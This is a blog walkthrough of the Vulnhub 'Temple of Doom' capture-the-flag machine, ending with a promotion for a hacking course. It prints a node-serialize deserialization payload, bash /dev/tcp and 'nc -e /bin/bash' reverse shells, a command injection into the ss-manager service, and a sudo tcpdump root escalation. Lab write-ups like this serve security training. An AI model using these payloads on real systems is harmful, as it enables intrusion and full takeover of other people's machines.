Home News Temple of Doom – Vulnhub CTF Challenge Walkthrough

Temple of Doom – Vulnhub CTF Challenge Walkthrough

by Unallocated Author
Temple of Doom Capture the flag

Temple of Doom is a Boot2Root CTF Challenge and is available at Vulnhub. This machine is intended for “Intermediates” and requires a lot of time and good enumeration skills to get root.

In this walkthrough, I’ll be using Parrot Security OS but you can use any distro you want.

Start the machine and use Netdiscover to find that IP Address. Then register this IP to your local DNS file “/etc/hosts”.

sudo netdiscover -r [IP/Subnet]
sudo nano /etc/hosts


Now, run a full port Nmap scan.


An HTTP Server is running on port 666.


There’s nothing except that page on this server, no “robots.txt”. So fire up Burp Suite and intercept the request.


There is a cookie named “profile”, it is Base64+URL encoded. Copy it and paste it in the Decoder. First Base64 decode then URL decode.


We got user session details with a token. The user details were stored in session id, this is called node-serialization. This is vulnerable to Command Injection. Let’s try injecting “whoami” in this session and then encode this as Base64+URL.



Now copy this and use this as a profile cookie. In Repeater,

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}


It worked. We can now execute our reverse shell. Just encode your reverse shell in session and send it.

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/ 0>&1',(e,out,err)=>{console.log(out);}); }()"}


Now send it using Repeater.


On our Netcat listener, we get our reverse shell.


We got a lower shell, now we need to escalate our privileges. When we look at the services running, we see that “ss-manager” is run by root.


To exploit “ss-manager” service, connect to the UDP port 8839 using Netcat

nc -u 8839
add: {"server_port":8003, "password":"test", "method":"||nc 4444 -e /bin/bash||"}


On our second Netcat listener, we get a reverse shell with “Fireman” privileges. First, spawn a TTY then check for “sudo”

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
sudo -l


This user can run “tcpdump” with sudo privileges. We can abuse it to get root. Start another Netcat listener and Type

cd /tmp
echo "nc -e /bin/bash 5555"> shell
chmod 777 shell
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root

We got ROOT privileges and read the final flag !!

Want to learn more about ethical hacking?

We have a  networking hacking course that is of a similar level to OSCP, get an exclusive 95% discount HERE

You may also like

Do NOT follow this link or you will be banned from the site!